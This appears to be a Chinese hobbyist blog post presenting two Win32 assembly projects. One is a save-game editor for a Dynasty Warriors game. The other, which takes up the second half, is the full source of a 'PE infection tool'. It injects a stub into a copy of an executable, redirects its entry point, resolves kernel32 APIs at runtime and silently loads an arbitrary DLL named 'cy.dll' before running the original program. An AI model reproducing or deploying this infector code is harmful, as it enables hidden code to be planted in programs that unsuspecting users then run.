我大二下学期从罗云彬的《Windows环境下32位汇编语言程序设计》开始接触学习Win32汇编,然后写了一些小工具。
1. 三国无双存档修改器
这种工具用c或者python写很简单,但是用汇编写也是一种不一样的体验。
.386
.model flat ,stdcall
option casemap:none
include windows.inc
include gdi32.inc
includelib gdi32.lib
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
_PROCVAR2 typedef proto :dword,:dword,:dword,:dword
PROCVAR2 typedef ptr _PROCVAR2
.data?
hInstance dd ?
jishu dd ?
height dd ?
wideth dd ?
hDllInstance dd ?
lpSetLayeredWindowAttributes PROCVAR2 ?
.const
szFileName db 'C:\Documents and Settings\Administrator\My Documents\KOEI\Shin Sangokumusou 4 Special\Savedata\save.dat',0
szNewFileName db 'C:\Documents and Settings\Administrator\My Documents\KOEI\Shin Sangokumusou 4 Special\save.dat',0
szCaption db '提示',0
szText1 db '您尚未安装此游戏!',0
szText2 db '已成功修改!',0
szText3 db '已成功恢复!',0
szDLL db 'user32.dll',0
szSetLayeredWindowAttributes db 'SetLayeredWindowAttributes',0
.code
_ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam
local @szBuffer[32]:byte
local @stRect:RECT
mov eax,wMsg
.if eax==WM_CLOSE
invoke SetTimer,hWnd,102,110,NULL
.elseif eax==WM_INITDIALOG
mov height,0
mov wideth,0
invoke LoadIcon,hInstance,301
invoke SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
invoke LoadString,hInstance,1,addr @szBuffer,8
invoke SetDlgItemText,hWnd,202,addr @szBuffer
invoke GetWindowLong,hWnd,GWL_EXSTYLE
xor eax,80000H
invoke SetWindowLong,hWnd,GWL_EXSTYLE,eax
invoke LoadLibrary,addr szDLL
.if eax
mov hDllInstance,eax
invoke GetProcAddress,hDllInstance,addr szSetLayeredWindowAttributes
mov lpSetLayeredWindowAttributes,eax
.endif
invoke lpSetLayeredWindowAttributes,hWnd,0,188,2
invoke MoveWindow,hWnd,400,400,0,0,TRUE
invoke SetTimer,hWnd,101,110,NULL
.elseif eax==WM_TIMER
mov eax,wParam
.if eax==101
add height,12
add wideth,12
.if height>=220
invoke KillTimer,hWnd,101
.endif
invoke GetWindowRect,hWnd,addr @stRect
invoke MoveWindow,hWnd,@stRect.left,@stRect.top,height,wideth,TRUE
.elseif eax==102
sub height,12
sub wideth,12
.if height<=0
invoke KillTimer,hWnd,102
invoke FreeLibrary,hDllInstance
invoke EndDialog,hWnd,NULL
.endif
invoke GetWindowRect,hWnd,addr @stRect
invoke MoveWindow,hWnd,@stRect.left,@stRect.top,height,wideth,TRUE
.endif
.elseif eax==WM_COMMAND
mov eax,wParam
.if eax==IDOK
.if jishu==48
mov jishu,0
.endif
inc jishu
invoke LoadBitmap,hInstance,jishu
invoke SendDlgItemMessage,hWnd,201,STM_SETIMAGE,IMAGE_BITMAP,eax
invoke LoadString,hInstance,jishu,addr @szBuffer,8
invoke SetDlgItemText,hWnd,202,addr @szBuffer
.elseif eax==207
.if jishu==1
mov jishu,49
.endif
dec jishu
invoke LoadBitmap,hInstance,jishu
invoke SendDlgItemMessage,hWnd,201,STM_SETIMAGE,IMAGE_BITMAP,eax
invoke LoadString,hInstance,jishu,addr @szBuffer,8
invoke SetDlgItemText,hWnd,202,addr @szBuffer
.elseif eax==208
call _ProcWujiang
.if eax==TRUE
invoke MessageBox,NULL,offset szText2,offset szCaption,MB_OK
.endif
.elseif eax==203
call _ProcBingying
.if eax==TRUE
invoke MessageBox,NULL,offset szText2,offset szCaption,MB_OK
.endif
.elseif eax==204
call _ProcDaoju
.if eax==TRUE
invoke MessageBox,NULL,offset szText2,offset szCaption,MB_OK
.endif
.elseif eax==206
invoke CopyFile,addr szNewFileName,addr szFileName,FALSE
invoke MessageBox,NULL,offset szText3,offset szCaption,MB_OK
.elseif eax==205
call _ProcBingying
.if eax==TRUE
call _ProcDaoju
push jishu
mov jishu,1
.while jishu<49
call _ProcWujiang
inc jishu
.endw
pop jishu
invoke MessageBox,NULL,offset szText2,offset szCaption,MB_OK
.endif
.endif
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_ProcDlgMain endp
_ProcWujiang proc
local @hFile,@hFileMap,@lpMemory,@yanzheng
invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
.if eax==INVALID_HANDLE_VALUE
invoke MessageBox,NULL,offset szText1,offset szCaption,MB_OK
mov eax,FALSE
ret
.endif
mov @hFile,eax
invoke CreateFileMapping,eax,NULL,PAGE_READWRITE,0,0,NULL
mov @hFileMap,eax
invoke MapViewOfFile,eax,FILE_MAP_WRITE or FILE_MAP_WRITE,0,0,0
mov @lpMemory,eax
mov ebx,@lpMemory
mov ecx,10000
xor eax,eax
.while ecx>0
dec ecx
inc ebx
mov dl,byte ptr [ebx]
movzx edx,dl
add eax,edx
xor edx,edx
.endw
mov @yanzheng,eax
mov ebx,@lpMemory
mov eax,jishu
mov ecx,88
mul ecx
add ebx,eax
mov byte ptr [ebx+150],200
mov byte ptr [ebx+152],200
mov byte ptr [ebx+154],200
mov byte ptr [ebx+155],200
mov byte ptr [ebx+156],96
mov byte ptr [ebx+157],234
mov byte ptr [ebx+158],0
mov byte ptr [ebx+159],14
mov al,byte ptr jishu
mov cl,4
mul cl
dec al
mov byte ptr [ebx+168],al
mov byte ptr [ebx+171],1
mov byte ptr [ebx+172],0
mov byte ptr [ebx+173],19
mov byte ptr [ebx+174],1
mov byte ptr [ebx+175],19
mov byte ptr [ebx+176],2
mov byte ptr [ebx+177],19
mov byte ptr [ebx+178],3
mov byte ptr [ebx+179],19
.if jishu==20
mov byte ptr [ebx+180],6
.else
mov byte ptr [ebx+180],4
.endif
mov byte ptr [ebx+181],19
mov byte ptr [ebx+182],10
mov ebx,@lpMemory
mov ecx,10000
xor eax,eax
.while ecx>0
dec ecx
inc ebx
mov dl,byte ptr [ebx]
movzx edx,dl
add eax,edx
xor edx,edx
.endw
mov edx,eax
mov ebx,@lpMemory
add ebx,45968
mov eax,dword ptr [ebx]
add eax,edx
sub eax,@yanzheng
mov dword ptr [ebx],eax
invoke UnmapViewOfFile,@lpMemory
invoke CloseHandle,@hFileMap
invoke CloseHandle,@hFile
mov eax,TRUE
ret
_ProcWujiang endp
_ProcBingying proc
local @hFile,@hFileMap,@lpMemory,@yanzheng
invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
.if eax==INVALID_HANDLE_VALUE
invoke MessageBox,NULL,offset szText1,offset szCaption,MB_OK
mov eax,FALSE
ret
.endif
mov @hFile,eax
invoke CreateFileMapping,eax,NULL,PAGE_READWRITE,0,0,NULL
mov @hFileMap,eax
invoke MapViewOfFile,eax,FILE_MAP_WRITE or FILE_MAP_WRITE,0,0,0
mov @lpMemory,eax
mov ebx,@lpMemory
mov ecx,10000
xor eax,eax
.while ecx>0
dec ecx
inc ebx
mov dl,byte ptr [ebx]
movzx edx,dl
add eax,edx
xor edx,edx
.endw
mov @yanzheng,eax
mov ebx,@lpMemory
mov byte ptr [ebx+224],99
mov byte ptr [ebx+225],99
mov byte ptr [ebx+226],99
mov byte ptr [ebx+227],99
mov byte ptr [ebx+228],99
mov byte ptr [ebx+229],99
mov ebx,@lpMemory
mov ecx,10000
xor eax,eax
.while ecx>0
dec ecx
inc ebx
mov dl,byte ptr [ebx]
movzx edx,dl
add eax,edx
xor edx,edx
.endw
mov edx,eax
mov ebx,@lpMemory
add ebx,45968
mov eax,dword ptr [ebx]
add eax,edx
sub eax,@yanzheng
mov dword ptr [ebx],eax
invoke UnmapViewOfFile,@lpMemory
invoke CloseHandle,@hFileMap
invoke CloseHandle,@hFile
mov eax,TRUE
ret
_ProcBingying endp
_ProcDaoju proc
local @hFile,@hFileMap,@lpMemory,@yanzheng
invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
.if eax==INVALID_HANDLE_VALUE
invoke MessageBox,NULL,offset szText1,offset szCaption,MB_OK
mov eax,FALSE
ret
.endif
mov @hFile,eax
invoke CreateFileMapping,eax,NULL,PAGE_READWRITE,0,0,NULL
mov @hFileMap,eax
invoke MapViewOfFile,eax,FILE_MAP_WRITE or FILE_MAP_WRITE,0,0,0
mov @lpMemory,eax
mov ebx,@lpMemory
mov ecx,10000
xor eax,eax
.while ecx>0
dec ecx
inc ebx
mov dl,byte ptr [ebx]
movzx edx,dl
add eax,edx
xor edx,edx
.endw
mov @yanzheng,eax
mov ebx,@lpMemory
mov ecx,50
.while ecx>0
dec ecx
mov byte ptr [ebx+5428],19
inc ebx
.endw
mov ebx,@lpMemory
mov ecx,8
.while ecx>0
dec ecx
mov byte ptr [ebx+6512],1
mov byte ptr [ebx+6513],170
mov byte ptr [ebx+6514],242
mov byte ptr [ebx+6515],182
mov byte ptr [ebx+6516],174
mov byte ptr [ebx+6522],4
mov byte ptr [ebx+6523],10
mov byte ptr [ebx+6529],1
mov byte ptr [ebx+6530],15
mov byte ptr [ebx+6531],255
mov byte ptr [ebx+6532],255
mov byte ptr [ebx+6533],255
mov byte ptr [ebx+6534],255
mov byte ptr [ebx+6535],255
mov byte ptr [ebx+6536],255
mov byte ptr [ebx+6537],255
mov byte ptr [ebx+6538],255
mov byte ptr [ebx+6539],255
mov byte ptr [ebx+6540],255
mov byte ptr [ebx+6541],255
mov byte ptr [ebx+6542],255
mov byte ptr [ebx+6543],255
mov byte ptr [ebx+6544],14
add ebx,36
.endw
mov ebx,@lpMemory
mov ecx,10000
xor eax,eax
.while ecx>0
dec ecx
inc ebx
mov dl,byte ptr [ebx]
movzx edx,dl
add eax,edx
xor edx,edx
.endw
mov edx,eax
mov ebx,@lpMemory
add ebx,45968
mov eax,dword ptr [ebx]
add eax,edx
sub eax,@yanzheng
mov dword ptr [ebx],eax
invoke UnmapViewOfFile,@lpMemory
invoke CloseHandle,@hFileMap
invoke CloseHandle,@hFile
mov eax,TRUE
ret
_ProcDaoju endp
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
mov jishu,1
invoke CopyFile,addr szFileName,addr szNewFileName,TRUE
invoke DialogBoxParam,hInstance,101,NULL,offset _ProcDlgMain,NULL
invoke ExitProcess,NULL
end start
2. PE感染工具
这种代码就是高级语言无法做到的了,哪怕是高级语言中最底层的C也无法做到。
.386
.model flat, stdcall
option casemap :none
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
.const
szErr db '文件格式错误!',0
szMySection db '.adata',0
szExt db '_cy.exe',0
.code
include MyCode.asm
DllEntry proc _hInstance,_dwReason,_dwReserved
mov eax,TRUE
ret
DllEntry Endp
_Align proc _dwSize,_dwAlign
push edx
mov eax,_dwSize
xor edx,edx
div _dwAlign
.if edx
inc eax
.endif
mul _dwAlign
pop edx
ret
_Align endp
_Handler proc _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext
pushad
mov esi,_lpExceptionRecord
mov edi,_lpContext
assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
mov eax,_lpSEH
push [eax + 0ch]
pop [edi].regEbp
push [eax + 8]
pop [edi].regEip
push eax
pop [edi].regEsp
assume esi:nothing,edi:nothing
popad
mov eax,ExceptionContinueExecution
ret
_Handler endp
_ProcessPeFile proc _lpFile,_lpPeHead,_dwSize,_lpsz
local @szNewFile[MAX_PATH]:byte
local @hFile,@dwTemp,@dwEntry,@lpMemory
local @dwAddCodeBase,@dwAddCodeFile
local @szBuffer[256]:byte
pushad
;********************************************************************
; (Part 1)准备工作:1-建立新文件,2-打开文件
;********************************************************************
invoke lstrcpy,addr @szNewFile,_lpsz
invoke lstrlen,addr @szNewFile
lea ecx,@szNewFile
mov byte ptr [ecx+eax-4],0
invoke lstrcat,addr @szNewFile,addr szExt
invoke CopyFile,_lpsz,addr @szNewFile,FALSE
invoke CreateFile,addr @szNewFile,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax == INVALID_HANDLE_VALUE
jmp _Ret
.endif
mov @hFile,eax
;********************************************************************
;(Part 2)进行一些准备工作和检测工作
; esi --> 原PeHead,edi --> 新的PeHead
; edx --> 最后一个节表,ebx --> 新加的节表
;********************************************************************
mov esi,_lpPeHead
assume esi:ptr IMAGE_NT_HEADERS,edi:ptr IMAGE_NT_HEADERS
invoke GlobalAlloc,GPTR,[esi].OptionalHeader.SizeOfHeaders
mov @lpMemory,eax
mov edi,eax
invoke RtlMoveMemory,edi,_lpFile,[esi].OptionalHeader.SizeOfHeaders
add edi,esi
sub edi,_lpFile
movzx eax,[esi].FileHeader.NumberOfSections
dec eax
mov ecx,sizeof IMAGE_SECTION_HEADER
mul ecx
mov edx,edi
add edx,eax
add edx,sizeof IMAGE_NT_HEADERS
mov ebx,edx
add ebx,sizeof IMAGE_SECTION_HEADER
assume ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER
;********************************************************************
; (Part 2.1)检查是否有空闲的位置可供插入节表
;********************************************************************
pushad
mov edi,ebx
xor eax,eax
mov ecx,IMAGE_SECTION_HEADER
repz scasb
popad
.if ! ZERO?
;********************************************************************
; (Part 3.1)如果没有新的节表空间的话,则查看现存代码节的最后
; 是否存在足够的全零空间,如果存在则在此处加入代码
;********************************************************************
xor eax,eax
mov ebx,edi
add ebx,sizeof IMAGE_NT_HEADERS
.while ax <= [esi].FileHeader.NumberOfSections
mov ecx,[ebx].SizeOfRawData
.if ecx && ([ebx].Characteristics & IMAGE_SCN_MEM_EXECUTE)
sub ecx,[ebx].Misc.VirtualSize
.if ecx > offset APPEND_CODE_END-offset APPEND_CODE
or [ebx].Characteristics,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
add [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
jmp @F
.endif
.endif
add ebx,IMAGE_SECTION_HEADER
inc ax
.endw
invoke CloseHandle,@hFile
invoke DeleteFile,addr @szNewFile
jmp _Ret
@@:
;********************************************************************
; 将新增代码加入代码节的空隙中
;********************************************************************
mov eax,[ebx].VirtualAddress
add eax,[ebx].Misc.VirtualSize
mov @dwAddCodeBase,eax
mov eax,[ebx].PointerToRawData
add eax,[ebx].Misc.VirtualSize
mov @dwAddCodeFile,eax
invoke SetFilePointer,@hFile,@dwAddCodeFile,NULL,FILE_BEGIN
mov ecx,offset APPEND_CODE_END-offset APPEND_CODE
invoke WriteFile,@hFile,offset APPEND_CODE,ecx,addr @dwTemp,NULL
.else
;********************************************************************
; (Part 3.2)如果有新的节表空间的话,加入一个新的节
;********************************************************************
inc [edi].FileHeader.NumberOfSections
mov eax,[edx].PointerToRawData
add eax,[edx].SizeOfRawData
mov [ebx].PointerToRawData,eax
mov ecx,offset APPEND_CODE_END-offset APPEND_CODE
invoke _Align,ecx,[esi].OptionalHeader.FileAlignment
mov [ebx].SizeOfRawData,eax
invoke _Align,ecx,[esi].OptionalHeader.SectionAlignment
add [edi].OptionalHeader.SizeOfCode,eax ;修正SizeOfCode
add [edi].OptionalHeader.SizeOfImage,eax ;修正SizeOfImage
invoke _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment
add eax,[edx].VirtualAddress
mov [ebx].VirtualAddress,eax
mov [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
mov [ebx].Characteristics,IMAGE_SCN_CNT_CODE\
or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
invoke lstrcpy,addr [ebx].Name1,addr szMySection
;********************************************************************
; 将新增代码作为一个新的节写到文件尾部
;********************************************************************
invoke SetFilePointer,@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN
invoke WriteFile,@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,\
addr @dwTemp,NULL
mov eax,[ebx].PointerToRawData
add eax,[ebx].SizeOfRawData
invoke SetFilePointer,@hFile,eax,NULL,FILE_BEGIN
invoke SetEndOfFile,@hFile
;********************************************************************
push [ebx].VirtualAddress ;eax = 新加代码的基地址
pop @dwAddCodeBase
push [ebx].PointerToRawData
pop @dwAddCodeFile
.endif
;********************************************************************
; (Part 4)修正文件入口指针并写入新的文件头
;********************************************************************
mov eax,@dwAddCodeBase
add eax,(offset _NewEntry-offset APPEND_CODE)
mov [edi].OptionalHeader.AddressOfEntryPoint,eax
invoke SetFilePointer,@hFile,0,NULL,FILE_BEGIN
invoke WriteFile,@hFile,@lpMemory,[esi].OptionalHeader.SizeOfHeaders,\
addr @dwTemp,NULL
;********************************************************************
; (Part 5)修正新加代码中的 Jmp oldEntry 指令
;********************************************************************
push [esi].OptionalHeader.AddressOfEntryPoint
pop @dwEntry
mov eax,@dwAddCodeBase
add eax,(offset _ToOldEntry-offset APPEND_CODE+5)
sub @dwEntry,eax
mov ecx,@dwAddCodeFile
add ecx,(offset _dwOldEntry-offset APPEND_CODE)
invoke SetFilePointer,@hFile,ecx,NULL,FILE_BEGIN
invoke WriteFile,@hFile,addr @dwEntry,4,addr @dwTemp,NULL
;********************************************************************
; (Part 6)关闭文件
;********************************************************************
invoke GlobalFree,@lpMemory
invoke CloseHandle,@hFile
_Ret:
assume esi:nothing
popad
ret
_ProcessPeFile endp
ConvertFile proc _lpsz
local @hFile,@dwFileSize,@hMapFile,@lpMemory
;********************************************************************
; 打开文件并建立文件 Mapping
;********************************************************************
invoke CreateFile,_lpsz,GENERIC_READ,FILE_SHARE_READ or \
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax != INVALID_HANDLE_VALUE
mov @hFile,eax
invoke GetFileSize,eax,NULL
mov @dwFileSize,eax
.if eax
invoke CreateFileMapping,@hFile,NULL,PAGE_READONLY,0,0,NULL
.if eax
mov @hMapFile,eax
invoke MapViewOfFile,eax,FILE_MAP_READ,0,0,0
.if eax
mov @lpMemory,eax
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
push offset _ErrFormat
push offset _Handler
push fs:[0]
mov fs:[0],esp
;********************************************************************
; 检测 PE 文件是否有效
;********************************************************************
mov esi,@lpMemory
assume esi:ptr IMAGE_DOS_HEADER
.if [esi].e_magic != IMAGE_DOS_SIGNATURE
jmp _ErrFormat
.endif
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
.if [esi].Signature != IMAGE_NT_SIGNATURE
jmp _ErrFormat
.endif
invoke _ProcessPeFile,@lpMemory,esi,@dwFileSize,_lpsz
jmp _ErrorExit
_ErrFormat:
invoke MessageBox,addr szErr,0,NULL,MB_OK
_ErrorExit:
pop fs:[0]
add esp,0ch
invoke UnmapViewOfFile,@lpMemory
.endif
invoke CloseHandle,@hMapFile
.endif
invoke CloseHandle,@hFile
.endif
.endif
@@:
ret
ConvertFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
End DllEntry
_ProtoGetProcAddress typedef proto :dword,:dword
_ProtoLoadLibrary typedef proto :dword
_ApiGetProcAddress typedef ptr _ProtoGetProcAddress
_ApiLoadLibrary typedef ptr _ProtoLoadLibrary
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
APPEND_CODE equ this byte
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_SEHHandler proc C _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext
pushad
mov esi,_lpExceptionRecord
mov edi,_lpContext
assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
mov eax,_lpSEH
push [eax + 0ch]
pop [edi].regEbp
push [eax + 8]
pop [edi].regEip
push eax
pop [edi].regEsp
assume esi:nothing,edi:nothing
popad
mov eax,ExceptionContinueExecution
ret
_SEHHandler endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 在内存中扫描 Kernel32.dll 的基址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetKernelBase proc _dwKernelRet
local @dwReturn
pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _PageError]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
;********************************************************************
; 查找 Kernel32.dll 的基地址
;********************************************************************
mov edi,_dwKernelRet
and edi,0ffff0000h
.while TRUE
.if word ptr [edi] == IMAGE_DOS_SIGNATURE
mov esi,edi
add esi,[esi+003ch]
.if word ptr [esi] == IMAGE_NT_SIGNATURE
mov @dwReturn,edi
.break
.endif
.endif
_PageError:
sub edi,010000h
.break .if edi < 070000000h
.endw
pop fs:[0]
add esp,0ch
popad
mov eax,@dwReturn
ret
_GetKernelBase endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 从内存中模块的导出表中获取某个 API 的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetApi proc _hModule,_lpszApi
local @dwReturn,@dwStringLength
pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _Error]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
;********************************************************************
; 计算 API 字符串的长度(带尾部的0)
;********************************************************************
mov edi,_lpszApi
mov ecx,-1
xor al,al
cld
repnz scasb
mov ecx,edi
sub ecx,_lpszApi
mov @dwStringLength,ecx
;********************************************************************
; 从 PE 文件头的数据目录获取导出表地址
;********************************************************************
mov esi,_hModule
add esi,[esi + 3ch]
assume esi:ptr IMAGE_NT_HEADERS
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi,_hModule
assume esi:ptr IMAGE_EXPORT_DIRECTORY
;********************************************************************
; 查找符合名称的导出函数名
;********************************************************************
mov ebx,[esi].AddressOfNames
add ebx,_hModule
xor edx,edx
.repeat
push esi
mov edi,[ebx]
add edi,_hModule
mov esi,_lpszApi
mov ecx,@dwStringLength
repz cmpsb
.if ZERO?
pop esi
jmp @F
.endif
pop esi
add ebx,4
inc edx
.until edx >= [esi].NumberOfNames
jmp _Error
@@:
;********************************************************************
; API名称索引 --> 序号索引 --> 地址索引
;********************************************************************
sub ebx,[esi].AddressOfNames
sub ebx,_hModule
shr ebx,1
add ebx,[esi].AddressOfNameOrdinals
add ebx,_hModule
movzx eax,word ptr [ebx]
shl eax,2
add eax,[esi].AddressOfFunctions
add eax,_hModule
;********************************************************************
; 从地址表得到导出函数地址
;********************************************************************
mov eax,[eax]
add eax,_hModule
mov @dwReturn,eax
_Error:
pop fs:[0]
add esp,0ch
assume esi:nothing
popad
mov eax,@dwReturn
ret
_GetApi endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
hDllKernel32 dd ?
_GetProcAddress _ApiGetProcAddress ?
_LoadLibrary _ApiLoadLibrary ?
szLoadLibrary db 'LoadLibraryA',0
szGetProcAddress db 'GetProcAddress',0
szDllName db 'cy.dll',0
;********************************************************************
; 新的入口地址
;********************************************************************
_NewEntry:
;********************************************************************
; 重定位并获取一些 API 的入口地址
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
invoke _GetKernelBase,[esp] ;获取Kernel32.dll基址
.if ! eax
jmp _ToOldEntry
.endif
mov [ebx+hDllKernel32],eax ;获取GetProcAddress入口
lea eax,[ebx+szGetProcAddress]
invoke _GetApi,[ebx+hDllKernel32],eax
.if ! eax
jmp _ToOldEntry
.endif
mov [ebx+_GetProcAddress],eax
;********************************************************************
lea eax,[ebx+szLoadLibrary] ;获取LoadLibrary入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_LoadLibrary],eax
;********************************************************************
lea eax,[ebx+szDllName]
invoke [ebx+_LoadLibrary],eax
_ToOldEntry:
db 0e9h ;0e9h是jmp xxxxxxxx的机器码
_dwOldEntry:
dd ? ;用来填入原来的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
APPEND_CODE_END equ this byte